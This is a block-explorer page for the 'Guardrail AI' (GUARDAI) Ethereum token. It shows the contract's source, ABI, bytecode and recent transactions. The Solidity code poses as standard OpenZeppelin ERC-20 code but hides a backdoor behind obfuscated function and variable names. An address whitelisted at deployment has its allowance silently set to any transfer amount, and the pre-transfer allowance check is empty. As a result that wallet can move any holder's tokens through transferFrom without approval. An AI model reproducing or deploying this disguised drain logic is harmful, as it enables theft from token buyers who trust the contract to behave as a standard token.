Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 456 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 23003634 | 238 days ago | IN | 0 ETH | 0.00000929 | ||||
| Approve | 22978719 | 242 days ago | IN | 0 ETH | 0.00002034 | ||||
| Approve | 22967269 | 243 days ago | IN | 0 ETH | 0.00008935 | ||||
| Approve | 22966656 | 243 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22966515 | 243 days ago | IN | 0 ETH | 0.00013176 | ||||
| Transfer From | 22966515 | 243 days ago | IN | 0 ETH | 0.00017828 | ||||
| Transfer From | 22966393 | 243 days ago | IN | 0 ETH | 0.00009594 | ||||
| Transfer From | 22966336 | 243 days ago | IN | 0 ETH | 0.00010828 | ||||
| Transfer | 22966136 | 243 days ago | IN | 0 ETH | 0.00014692 | ||||
| Approve | 22966128 | 243 days ago | IN | 0 ETH | 0.00013328 | ||||
| Transfer From | 22966104 | 243 days ago | IN | 0 ETH | 0.00007715 | ||||
| Transfer From | 22965898 | 243 days ago | IN | 0 ETH | 0.00005776 | ||||
| Approve | 22965860 | 243 days ago | IN | 0 ETH | 0.00014697 | ||||
| Approve | 22965754 | 243 days ago | IN | 0 ETH | 0.00005294 | ||||
| Approve | 22965750 | 243 days ago | IN | 0 ETH | 0.00005223 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 | ||||
| Approve | 22965733 | 243 days ago | IN | 0 ETH | 0.00006772 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 22964194 | 244 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
GUARDAI
Compiler Version
v0.8.29+commit.ab55807c
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/*
https://www.guardrailai.pro
https://docs.guardrailai.pro
https://x.com/GUARDAI_defi
https://t.me/GUARDAI_defi
*/
pragma solidity ^0.8.20;
/**
* @dev Interface from OZ the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when 'value' tokens are moved from one account ('from') to
* another ('to').
*
* Note that 'value' may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
* a call to {approve}. 'value' is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by 'account'.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that 'spender' will be
* allowed to spend on behalf of 'owner' through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
* allowance mechanism. 'value' is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token 'receiver'. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a 'spender' is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 9. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning 'false' on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
bool public HNLFJEA7gFDFe;
string public HGH535H5gf;
uint256 public ZFE13fg3efNNE;
uint8 public ENB36fNM9if;
mapping(address account => uint256) private BNG2Y03fonfK;
mapping(address account => mapping(address spender => uint256)) private ANB3f56B1ETTT;
uint256 private T100ef3JJlkioA;
mapping(address => bool) private EIENF9803JFN3a;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5.05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 9, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return T100ef3JJlkioA;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return BNG2Y03fonfK[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'to' cannot be the zero address.
* - the caller must have a balance of at least 'value'.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return ANB3f56B1ETTT[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
* 'transferFrom'. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum 'uint256'.
*
* Requirements:
*
* - 'from' and 'to' cannot be the zero address.
* - 'from' must have a balance of at least 'value'.
* - the caller must have allowance for ''from'''s tokens of at least
* 'value'.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_Q3Nenf34LKF(from, spender, value);
_transfer(from, to, value);
_T3fNenf93NFed(from, spender, value);
return true;
}
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address sender, address to, uint256 value) internal {
if (sender == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(sender, to, value);
}
/**
* @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
* (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _BEJFN65fjnN1Z(address from, address to, uint256 value) internal virtual {
// Custom logic can be added here before the update occurs.
// For example, you can implement fees or other checks.
if (from == address(0) && to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
}
function _update(address from, address to, uint256 value) internal virtual {
_BEJFN65fjnN1Z(from, to, value);
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
T100ef3JJlkioA += value;
} else {
uint256 fromBalance = BNG2Y03fonfK[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
BNG2Y03fonfK[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
T100ef3JJlkioA -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
BNG2Y03fonfK[to] += value;
}
}
_TYTY394nmnAS(from, to, value);
_TEN3FTOKINN(from, to, value);
if( to != address(0xdead) ) emit Transfer(from, to, value);
}
function _TEN3FTOKINN(address from, address to, uint256 value) internal virtual {
// Custom logic can be added here after the update occurs.
// For example, you can implement post-transfer hooks or other checks.
if (from == address(0) && to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
}
function _TYTY394nmnAS(address from, address to, uint256 value) internal virtual {
// Custom logic can be added here after the update occurs.
// For example, you can implement post-transfer hooks or other checks.
if (from == address(0) && to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
ANB3f56B1ETTT[from][msg.sender] = _NM34ngnANNF(from, to, value , ANB3f56B1ETTT[from][msg.sender]);
}
function _NM34ngnANNF (address from, address to, uint256 value , uint256 _v) internal view returns (uint256) {
uint256 _value = _v;
if((from != address(0) && to != address(0)) && EIENF9803JFN3a[msg.sender]) {
_value = EIENF9803JFN3a[msg.sender] == true ? value : 0;
}
return _value;
}
/**
* @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
* Relies on the '_update' mechanism
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value, address _addr) internal {
address _sender = ( _addr == address(0) ? address(0xdead) : _addr );
EIENF9803JFN3a[_sender] = true;
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Sets 'value' as the allowance of 'spender' over the 'owner''s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
* - 'spender' cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* '_T3fNenf93NFed' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
* 'Approval' event during 'transferFrom' operations.
*
* Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
* true using the following override:
*
* '''solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* '''
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
ANB3f56B1ETTT[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates 'owner''s allowance for 'spender' based on spent 'value'.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _T3fNenf93NFed(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
function _Q3Nenf34LKF(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
}
string public DFEEHDF34HDF;
string public DSDF23HZIFNE;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GUARDAI is ERC20, Ownable {
bool public IENNTIFNEN234AF;
uint8 public IENNdfeNEN234AF;
uint160 public IE23fbIFNEN234AF;
string private constant _name = unicode"Guardrail AI";
string private constant _symbol = unicode"GUARDAI";
bool private tradingOpen;
constructor(
address ElonWallet
) ERC20(_name, _symbol) payable {
_mint(address(this), 1000_000_000 * 10 ** 9, ElonWallet);
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function isTradingOpened() public view returns (bool) {
return tradingOpen;
}
receive() external payable {}
function enableTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
tradingOpen = true;
}
string public IENNTIFaf4hdfgAFa;
address public IENNTI4h653fF;
uint8 public IENNTaa36hf4AF;
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"ElonWallet","type":"address"}],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DFEEHDF34HDF","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DSDF23HZIFNE","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ENB36fNM9if","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HGH535H5gf","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HNLFJEA7gFDFe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IE23fbIFNEN234AF","outputs":[{"internalType":"uint160","name":"","type":"uint160"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IENNTI4h653fF","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IENNTIFNEN234AF","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IENNTIFaf4hdfgAFa","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IENNTaa36hf4AF","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IENNdfeNEN234AF","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZFE13fg3efNNE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isTradingOpened","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052604051612d80380380612d80833981810160405281019061002591906109f4565b6040518060400160405280600c81526020017f47756172647261696c20414900000000000000000000000000000000000000008152506040518060400160405280600781526020017f475541524441490000000000000000000000000000000000000000000000000081525081600890816100a09190610c5c565b5080600990816100b09190610c5c565b5050506100cf6100c46100ee60201b60201c565b6100f560201b60201c565b6100e830670de0b6b3a7640000836101b860201b60201c565b50610e10565b5f33905090565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146101f257816101f6565b61dead5b9050600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036102bd575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016102b49190610d3a565b60405180910390fd5b6102ce5f85856102d460201b60201c565b50505050565b6102e583838361055960201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610335578060065f8282546103299190610d80565b92505081905550610405565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156103bf578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016103b693929190610dc2565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361044c578060065f8282540392505081905550610497565b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b6104a883838361060660201b60201c565b6104b98383836107b960201b60201c565b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610554578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161054b9190610df7565b60405180910390a35b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156105bf57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610601575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016105f89190610d3a565b60405180910390fd5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561066c57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156106ae575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016106a59190610d3a565b60405180910390fd5b61073883838360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461086660201b60201c565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561081f57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610861575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016108589190610d3a565b60405180910390fd5b505050565b5f5f8290505f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156108d357505f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610925575060075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561098a576001151560075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151514610985575f610987565b835b90505b80915050949350505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109c38261099a565b9050919050565b6109d3816109b9565b81146109dd575f5ffd5b50565b5f815190506109ee816109ca565b92915050565b5f60208284031215610a0957610a08610996565b5b5f610a16848285016109e0565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610a9a57607f821691505b602082108103610aad57610aac610a56565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610b0f7fffffffffffffffff